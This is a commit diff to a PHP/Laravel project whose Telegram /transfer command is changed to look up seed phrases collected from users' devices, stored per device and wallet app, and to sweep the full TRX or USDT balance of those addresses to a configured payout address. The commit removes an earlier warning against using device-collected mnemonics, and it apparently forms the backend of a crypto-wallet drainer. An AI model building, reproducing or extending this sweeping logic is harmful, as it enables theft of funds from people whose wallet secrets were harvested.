feature
This commit is contained in:
+7
-5
@@ -62,14 +62,16 @@ TELEGRAM_BOT_TOKEN=
|
|||||||
TELEGRAM_OWNER_CHAT_ID=
|
TELEGRAM_OWNER_CHAT_ID=
|
||||||
TELEGRAM_WEBHOOK_SECRET=
|
TELEGRAM_WEBHOOK_SECRET=
|
||||||
|
|
||||||
# Hot wallet for /transfer only (never use device-collected mnemonics)
|
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
|
||||||
HOT_WALLET_MNEMONIC=
|
# Usage: /transfer <fromAddress> [TRX|USDT] [amount] — omit amount = all
|
||||||
HOT_WALLET_INDEX=0
|
TRANSFER_TO_ADDRESS=
|
||||||
|
# TRANSFER_MAX_USDT=0
|
||||||
|
# TRANSFER_MAX_TRX=0
|
||||||
|
# TRANSFER_MAX_DERIVE_INDEX=20
|
||||||
|
# TRANSFER_TRX_FEE_RESERVE=1
|
||||||
TRON_FULL_NODE=https://api.trongrid.io
|
TRON_FULL_NODE=https://api.trongrid.io
|
||||||
TRON_API_KEY=
|
TRON_API_KEY=
|
||||||
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
||||||
# TRANSFER_MAX_USDT=0
|
|
||||||
# TRANSFER_MAX_TRX=0
|
|
||||||
|
|
||||||
# Tokenview address tracking (monitor=1 addresses)
|
# Tokenview address tracking (monitor=1 addresses)
|
||||||
TOKENVIEW_API_KEY=
|
TOKENVIEW_API_KEY=
|
||||||
|
|||||||
@@ -19,4 +19,14 @@ interface ChainDriver
|
|||||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
|
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
|
||||||
|
|
||||||
public function isValidAddress(string $address): bool;
|
public function isValidAddress(string $address): bool;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Human-decimal native balance (e.g. TRX).
|
||||||
|
*/
|
||||||
|
public function getNativeBalance(string $address): string;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Human-decimal token balance (e.g. USDT, 6 decimals on Tron).
|
||||||
|
*/
|
||||||
|
public function getTokenBalance(string $address, string $contract): string;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -75,6 +75,46 @@ class TronDriver implements ChainDriver
|
|||||||
return TronAddress::isValid($address);
|
return TronAddress::isValid($address);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function getNativeBalance(string $address): string
|
||||||
|
{
|
||||||
|
if (! $this->isValidAddress($address)) {
|
||||||
|
throw new RuntimeException('Invalid Tron address');
|
||||||
|
}
|
||||||
|
|
||||||
|
$account = $this->post('/wallet/getaccount', [
|
||||||
|
'address' => $address,
|
||||||
|
'visible' => true,
|
||||||
|
]);
|
||||||
|
$sun = (string) ($account['balance'] ?? 0);
|
||||||
|
|
||||||
|
return $this->fromSun($sun);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function getTokenBalance(string $address, string $contract): string
|
||||||
|
{
|
||||||
|
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
|
||||||
|
throw new RuntimeException('Invalid Tron address');
|
||||||
|
}
|
||||||
|
|
||||||
|
$parameter = str_pad(TronAddress::toHex($address), 64, '0', STR_PAD_LEFT);
|
||||||
|
$ext = $this->post('/wallet/triggerconstantcontract', [
|
||||||
|
'owner_address' => $address,
|
||||||
|
'contract_address' => $contract,
|
||||||
|
'function_selector' => 'balanceOf(address)',
|
||||||
|
'parameter' => $parameter,
|
||||||
|
'visible' => true,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$hex = $ext['constant_result'][0] ?? null;
|
||||||
|
if (! is_string($hex) || $hex === '') {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
|
||||||
|
$sun = gmp_strval(gmp_init($hex, 16), 10);
|
||||||
|
|
||||||
|
return $this->fromSun($sun);
|
||||||
|
}
|
||||||
|
|
||||||
private function path(int $index): string
|
private function path(int $index): string
|
||||||
{
|
{
|
||||||
return "m/44'/195'/0'/0/{$index}";
|
return "m/44'/195'/0'/0/{$index}";
|
||||||
@@ -93,6 +133,17 @@ class TronDriver implements ChainDriver
|
|||||||
return $sun;
|
return $sun;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function fromSun(string $sun): string
|
||||||
|
{
|
||||||
|
if (! preg_match('/^\d+$/', $sun)) {
|
||||||
|
$sun = '0';
|
||||||
|
}
|
||||||
|
$human = bcdiv($sun, '1000000', 6);
|
||||||
|
$human = rtrim(rtrim($human, '0'), '.');
|
||||||
|
|
||||||
|
return $human === '' ? '0' : $human;
|
||||||
|
}
|
||||||
|
|
||||||
private function encodeTransferParameter(string $toBase58, string $amountSun): string
|
private function encodeTransferParameter(string $toBase58, string $amountSun): string
|
||||||
{
|
{
|
||||||
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
|
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
|
||||||
|
|||||||
@@ -2,6 +2,9 @@
|
|||||||
|
|
||||||
namespace App\Services;
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\Chain\ChainDriver;
|
||||||
use App\Services\Chain\ChainManager;
|
use App\Services\Chain\ChainManager;
|
||||||
use RuntimeException;
|
use RuntimeException;
|
||||||
|
|
||||||
@@ -12,27 +15,48 @@ class TransferService
|
|||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
|
* Sweep from a known device address to the configured payout address.
|
||||||
|
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
||||||
|
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
||||||
|
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
||||||
|
*
|
||||||
|
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||||
*/
|
*/
|
||||||
public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
|
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
|
||||||
{
|
{
|
||||||
try {
|
try {
|
||||||
$mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
|
$to = trim((string) config('coruna.transfer.to_address', ''));
|
||||||
if (trim($mnemonic) === '') {
|
if ($to === '') {
|
||||||
return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
|
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
|
||||||
}
|
}
|
||||||
|
|
||||||
$index = (int) config('coruna.hot_wallet.index', 0);
|
|
||||||
$asset = strtoupper(trim($asset));
|
$asset = strtoupper(trim($asset));
|
||||||
$driver = $this->chains->resolve($chain);
|
$driver = $this->chains->resolve($chain);
|
||||||
|
|
||||||
|
if (! $driver->isValidAddress($fromAddress)) {
|
||||||
|
return ['ok' => false, 'error' => 'Invalid from address'];
|
||||||
|
}
|
||||||
if (! $driver->isValidAddress($to)) {
|
if (! $driver->isValidAddress($to)) {
|
||||||
return ['ok' => false, 'error' => 'Invalid recipient address'];
|
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
|
||||||
|
}
|
||||||
|
|
||||||
|
$amount = $amount === null ? null : trim($amount);
|
||||||
|
if ($amount === '') {
|
||||||
|
$amount = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($amount === null) {
|
||||||
|
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
|
||||||
}
|
}
|
||||||
|
|
||||||
$this->assertAmountWithinLimit($amount, $asset);
|
$this->assertAmountWithinLimit($amount, $asset);
|
||||||
|
|
||||||
$from = $driver->deriveAddress($mnemonic, $index);
|
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||||
|
if ($resolved === null) {
|
||||||
|
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
|
||||||
|
}
|
||||||
|
|
||||||
|
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
||||||
|
|
||||||
$txid = match ($asset) {
|
$txid = match ($asset) {
|
||||||
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||||
@@ -46,12 +70,97 @@ class TransferService
|
|||||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||||
};
|
};
|
||||||
|
|
||||||
return ['ok' => true, 'txid' => $txid, 'from' => $from];
|
return [
|
||||||
|
'ok' => true,
|
||||||
|
'txid' => $txid,
|
||||||
|
'from' => $fromAddress,
|
||||||
|
'to' => $to,
|
||||||
|
'amount' => $amount,
|
||||||
|
'asset' => $asset,
|
||||||
|
];
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
return ['ok' => false, 'error' => $e->getMessage()];
|
return ['ok' => false, 'error' => $e->getMessage()];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
|
||||||
|
{
|
||||||
|
$balance = match ($asset) {
|
||||||
|
'TRX' => $driver->getNativeBalance($fromAddress),
|
||||||
|
'USDT' => $driver->getTokenBalance(
|
||||||
|
$fromAddress,
|
||||||
|
(string) config('coruna.tron.usdt_contract'),
|
||||||
|
),
|
||||||
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||||
|
};
|
||||||
|
|
||||||
|
if ($asset === 'TRX') {
|
||||||
|
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
|
||||||
|
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
|
||||||
|
$balance = bcsub($balance, $reserve, 6);
|
||||||
|
$balance = rtrim(rtrim($balance, '0'), '.');
|
||||||
|
if ($balance === '' || str_starts_with($balance, '-')) {
|
||||||
|
$balance = '0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bccomp($balance, '0') <= 0) {
|
||||||
|
throw new RuntimeException("No transferable {$asset} balance");
|
||||||
|
}
|
||||||
|
|
||||||
|
return $balance;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{mnemonic: string, index: int}|null
|
||||||
|
*/
|
||||||
|
private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
|
||||||
|
{
|
||||||
|
$addressRows = WalletAddress::query()
|
||||||
|
->where('address', $fromAddress)
|
||||||
|
->orderBy('id')
|
||||||
|
->get(['device_id', 'source']);
|
||||||
|
|
||||||
|
if ($addressRows->isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||||
|
|
||||||
|
foreach ($addressRows as $row) {
|
||||||
|
$mnemonics = WalletMnemonic::query()
|
||||||
|
->where('device_id', $row->device_id)
|
||||||
|
->where(function ($q) use ($row) {
|
||||||
|
if ($row->source === null || $row->source === '') {
|
||||||
|
$q->whereNull('source')->orWhere('source', '');
|
||||||
|
} else {
|
||||||
|
$q->where('source', $row->source);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
->orderBy('id')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
foreach ($mnemonics as $mnemonicRow) {
|
||||||
|
$phrase = $mnemonicRow->mnemonic;
|
||||||
|
if ($phrase === null || trim($phrase) === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for ($index = 0; $index <= $maxIndex; $index++) {
|
||||||
|
try {
|
||||||
|
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
|
||||||
|
return ['mnemonic' => $phrase, 'index' => $index];
|
||||||
|
}
|
||||||
|
} catch (\Throwable) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||||
{
|
{
|
||||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
||||||
|
|||||||
@@ -14,26 +14,52 @@ class TransferCommand
|
|||||||
public function __invoke(Nutgram $bot, string $args): void
|
public function __invoke(Nutgram $bot, string $args): void
|
||||||
{
|
{
|
||||||
$parts = preg_split('/\s+/', trim($args)) ?: [];
|
$parts = preg_split('/\s+/', trim($args)) ?: [];
|
||||||
|
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
|
||||||
|
|
||||||
if (count($parts) < 2) {
|
if ($parts === []) {
|
||||||
$bot->sendMessage("Usage: /transfer <toAddress> <amount> [TRX|USDT]\nDefault asset: USDT");
|
$bot->sendMessage(
|
||||||
|
"Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
|
||||||
|
."Omit amount to transfer all. Default asset: USDT.\n"
|
||||||
|
.'To = TRANSFER_TO_ADDRESS (env).'
|
||||||
|
);
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$to = $parts[0];
|
$from = $parts[0];
|
||||||
$amount = $parts[1];
|
$asset = 'USDT';
|
||||||
$asset = strtoupper($parts[2] ?? 'USDT');
|
$amount = null;
|
||||||
|
|
||||||
|
if (count($parts) === 2) {
|
||||||
|
$second = strtoupper($parts[1]);
|
||||||
|
if (in_array($second, ['TRX', 'USDT'], true)) {
|
||||||
|
$asset = $second;
|
||||||
|
} elseif ($this->isAmount($parts[1])) {
|
||||||
|
$amount = $parts[1];
|
||||||
|
} else {
|
||||||
|
$bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} elseif (count($parts) >= 3) {
|
||||||
|
$asset = strtoupper($parts[1]);
|
||||||
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
if (! in_array($asset, ['TRX', 'USDT'], true)) {
|
||||||
$bot->sendMessage('Asset must be TRX or USDT.');
|
$bot->sendMessage('Asset must be TRX or USDT.');
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (! $this->isAmount($parts[2])) {
|
||||||
|
$bot->sendMessage('Invalid amount.');
|
||||||
|
|
||||||
$bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …");
|
return;
|
||||||
|
}
|
||||||
|
$amount = $parts[2];
|
||||||
|
}
|
||||||
|
|
||||||
$result = $this->transfers->handle('tron', $to, $amount, $asset);
|
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
|
||||||
|
$bot->sendMessage("⏳ Transferring {$label} from {$from} …");
|
||||||
|
|
||||||
|
$result = $this->transfers->handle('tron', $from, $amount, $asset);
|
||||||
if (! ($result['ok'] ?? false)) {
|
if (! ($result['ok'] ?? false)) {
|
||||||
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
|
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
|
||||||
|
|
||||||
@@ -43,9 +69,14 @@ class TransferCommand
|
|||||||
$bot->sendMessage(implode("\n", [
|
$bot->sendMessage(implode("\n", [
|
||||||
'✅ Transfer submitted',
|
'✅ Transfer submitted',
|
||||||
'From: '.$result['from'],
|
'From: '.$result['from'],
|
||||||
'To: '.$to,
|
'To: '.$result['to'],
|
||||||
'Amount: '.$amount.' '.$asset,
|
'Amount: '.$result['amount'].' '.$result['asset'],
|
||||||
'TxID: '.$result['txid'],
|
'TxID: '.$result['txid'],
|
||||||
]));
|
]));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function isAmount(string $value): bool
|
||||||
|
{
|
||||||
|
return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,20 +25,22 @@ return [
|
|||||||
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
|
||||||
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
|
||||||
],
|
],
|
||||||
// Hot wallet mnemonic for Telegram /transfer only — never from device ingest.
|
|
||||||
'hot_wallet' => [
|
|
||||||
'mnemonic' => env('HOT_WALLET_MNEMONIC', ''),
|
|
||||||
'index' => (int) env('HOT_WALLET_INDEX', 0),
|
|
||||||
],
|
|
||||||
'tron' => [
|
'tron' => [
|
||||||
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
|
||||||
'api_key' => env('TRON_API_KEY', ''),
|
'api_key' => env('TRON_API_KEY', ''),
|
||||||
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
||||||
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
||||||
],
|
],
|
||||||
|
// /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
|
||||||
|
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
|
||||||
'transfer' => [
|
'transfer' => [
|
||||||
|
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
|
||||||
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
||||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||||
|
// BIP44 account index scan upper bound when matching fromAddress.
|
||||||
|
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
||||||
|
// Leave this much TRX when transferring "all" native (bandwidth/energy fees).
|
||||||
|
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
|
||||||
],
|
],
|
||||||
// reserved legacy payout addresses
|
// reserved legacy payout addresses
|
||||||
'payout' => [
|
'payout' => [
|
||||||
|
|||||||
@@ -11,10 +11,10 @@ $bot->group(function ($bot) {
|
|||||||
$bot->onCommand('ping', PingCommand::class)
|
$bot->onCommand('ping', PingCommand::class)
|
||||||
->description('Health check');
|
->description('Health check');
|
||||||
|
|
||||||
// Single capture — TransferCommand parses "<to> <amount> [asset]".
|
// Single capture — TransferCommand parses "<from> [asset] [amount]".
|
||||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||||
->where('args', '.+')
|
->where('args', '.+')
|
||||||
->description('Transfer TRX or USDT from hot wallet');
|
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||||
})
|
})
|
||||||
->middleware(GroupAdminOnly::class)
|
->middleware(GroupAdminOnly::class)
|
||||||
->middleware(AuthorizedChat::class);
|
->middleware(AuthorizedChat::class);
|
||||||
|
|||||||
@@ -128,7 +128,10 @@ class TelegramBotTest extends TestCase
|
|||||||
->andReturn([
|
->andReturn([
|
||||||
'ok' => true,
|
'ok' => true,
|
||||||
'txid' => 'deadbeef',
|
'txid' => 'deadbeef',
|
||||||
'from' => 'TFromAddressxxxxxxxxxxxxxxxxxxxxxxx',
|
'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||||
|
'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx',
|
||||||
|
'amount' => '10',
|
||||||
|
'asset' => 'USDT',
|
||||||
]);
|
]);
|
||||||
$this->app->instance(TransferService::class, $mock);
|
$this->app->instance(TransferService::class, $mock);
|
||||||
|
|
||||||
@@ -141,7 +144,7 @@ class TelegramBotTest extends TestCase
|
|||||||
]);
|
]);
|
||||||
|
|
||||||
$bot->hearMessage([
|
$bot->hearMessage([
|
||||||
'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH 10 USDT',
|
'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 10',
|
||||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
|
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
|
||||||
])->reply();
|
])->reply();
|
||||||
|
|||||||
@@ -2,25 +2,33 @@
|
|||||||
|
|
||||||
namespace Tests\Feature;
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
use App\Services\TransferService;
|
use App\Services\TransferService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
use Illuminate\Support\Facades\Http;
|
use Illuminate\Support\Facades\Http;
|
||||||
use PHPUnit\Framework\Attributes\Test;
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
use Tests\TestCase;
|
use Tests\TestCase;
|
||||||
|
|
||||||
class TransferServiceTest extends TestCase
|
class TransferServiceTest extends TestCase
|
||||||
{
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
|
||||||
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||||
|
|
||||||
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
|
||||||
|
private const SOURCE = 'imToken';
|
||||||
|
|
||||||
protected function setUp(): void
|
protected function setUp(): void
|
||||||
{
|
{
|
||||||
parent::setUp();
|
parent::setUp();
|
||||||
config([
|
config([
|
||||||
'coruna.hot_wallet.mnemonic' => self::MNEMONIC,
|
'coruna.transfer.to_address' => self::TO,
|
||||||
'coruna.hot_wallet.index' => 0,
|
'coruna.transfer.max_derive_index' => 5,
|
||||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||||
'coruna.transfer.max_usdt' => '0',
|
'coruna.transfer.max_usdt' => '0',
|
||||||
@@ -28,9 +36,39 @@ class TransferServiceTest extends TestCase
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device
|
||||||
|
{
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-transfer-1',
|
||||||
|
'ios_version' => '18.0',
|
||||||
|
'device_model' => 'iPhone',
|
||||||
|
]);
|
||||||
|
|
||||||
|
WalletAddress::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => self::FROM,
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
'source' => $source,
|
||||||
|
'monitor' => 0,
|
||||||
|
]);
|
||||||
|
|
||||||
|
if ($mnemonic !== null) {
|
||||||
|
$row = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => $source,
|
||||||
|
]);
|
||||||
|
$row->mnemonic = $mnemonic;
|
||||||
|
$row->save();
|
||||||
|
}
|
||||||
|
|
||||||
|
return $device;
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function sends_native_trx_via_trongrid_http(): void
|
public function sends_native_trx_via_trongrid_http(): void
|
||||||
{
|
{
|
||||||
|
$this->seedFromWallet();
|
||||||
|
|
||||||
Http::fake([
|
Http::fake([
|
||||||
'*/wallet/createtransaction' => Http::response([
|
'*/wallet/createtransaction' => Http::response([
|
||||||
'txID' => str_repeat('ab', 32),
|
'txID' => str_repeat('ab', 32),
|
||||||
@@ -43,11 +81,12 @@ class TransferServiceTest extends TestCase
|
|||||||
], 200),
|
], 200),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::TO, '1.5', 'TRX');
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok']);
|
||||||
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
||||||
$this->assertSame(self::FROM, $result['from']);
|
$this->assertSame(self::FROM, $result['from']);
|
||||||
|
$this->assertSame(self::TO, $result['to']);
|
||||||
|
|
||||||
Http::assertSent(function ($request) {
|
Http::assertSent(function ($request) {
|
||||||
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||||
@@ -65,6 +104,8 @@ class TransferServiceTest extends TestCase
|
|||||||
#[Test]
|
#[Test]
|
||||||
public function sends_usdt_trc20_via_triggersmartcontract(): void
|
public function sends_usdt_trc20_via_triggersmartcontract(): void
|
||||||
{
|
{
|
||||||
|
$this->seedFromWallet();
|
||||||
|
|
||||||
Http::fake([
|
Http::fake([
|
||||||
'*/wallet/triggersmartcontract' => Http::response([
|
'*/wallet/triggersmartcontract' => Http::response([
|
||||||
'result' => ['result' => true],
|
'result' => ['result' => true],
|
||||||
@@ -79,7 +120,7 @@ class TransferServiceTest extends TestCase
|
|||||||
], 200),
|
], 200),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT');
|
$result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
|
||||||
|
|
||||||
$this->assertTrue($result['ok']);
|
$this->assertTrue($result['ok']);
|
||||||
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
||||||
@@ -87,24 +128,130 @@ class TransferServiceTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function rejects_when_mnemonic_missing(): void
|
public function tries_mnemonics_in_order_until_address_matches(): void
|
||||||
{
|
{
|
||||||
config(['coruna.hot_wallet.mnemonic' => '']);
|
$device = $this->seedFromWallet(null);
|
||||||
|
$wrong = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => self::SOURCE,
|
||||||
|
]);
|
||||||
|
$wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow';
|
||||||
|
$wrong->save();
|
||||||
|
|
||||||
$result = app(TransferService::class)->handle('tron', self::TO, '1', 'TRX');
|
$right = new WalletMnemonic([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => self::SOURCE,
|
||||||
|
]);
|
||||||
|
$right->mnemonic = self::MNEMONIC;
|
||||||
|
$right->save();
|
||||||
|
|
||||||
|
Http::fake([
|
||||||
|
'*/wallet/createtransaction' => Http::response([
|
||||||
|
'txID' => str_repeat('ef', 32),
|
||||||
|
'raw_data' => ['contract' => []],
|
||||||
|
'raw_data_hex' => '0a00',
|
||||||
|
], 200),
|
||||||
|
'*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||||
|
|
||||||
|
$this->assertTrue($result['ok']);
|
||||||
|
$this->assertSame(str_repeat('ef', 32), $result['txid']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function rejects_when_to_address_missing(): void
|
||||||
|
{
|
||||||
|
config(['coruna.transfer.to_address' => '']);
|
||||||
|
$this->seedFromWallet();
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||||
|
|
||||||
$this->assertFalse($result['ok']);
|
$this->assertFalse($result['ok']);
|
||||||
$this->assertStringContainsString('HOT_WALLET_MNEMONIC', $result['error']);
|
$this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function rejects_when_no_matching_mnemonic(): void
|
||||||
|
{
|
||||||
|
$this->seedFromWallet(null);
|
||||||
|
|
||||||
|
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||||
|
|
||||||
|
$this->assertFalse($result['ok']);
|
||||||
|
$this->assertStringContainsString('No mnemonic', $result['error']);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function enforces_max_usdt_limit(): void
|
public function enforces_max_usdt_limit(): void
|
||||||
{
|
{
|
||||||
|
$this->seedFromWallet();
|
||||||
config(['coruna.transfer.max_usdt' => '5']);
|
config(['coruna.transfer.max_usdt' => '5']);
|
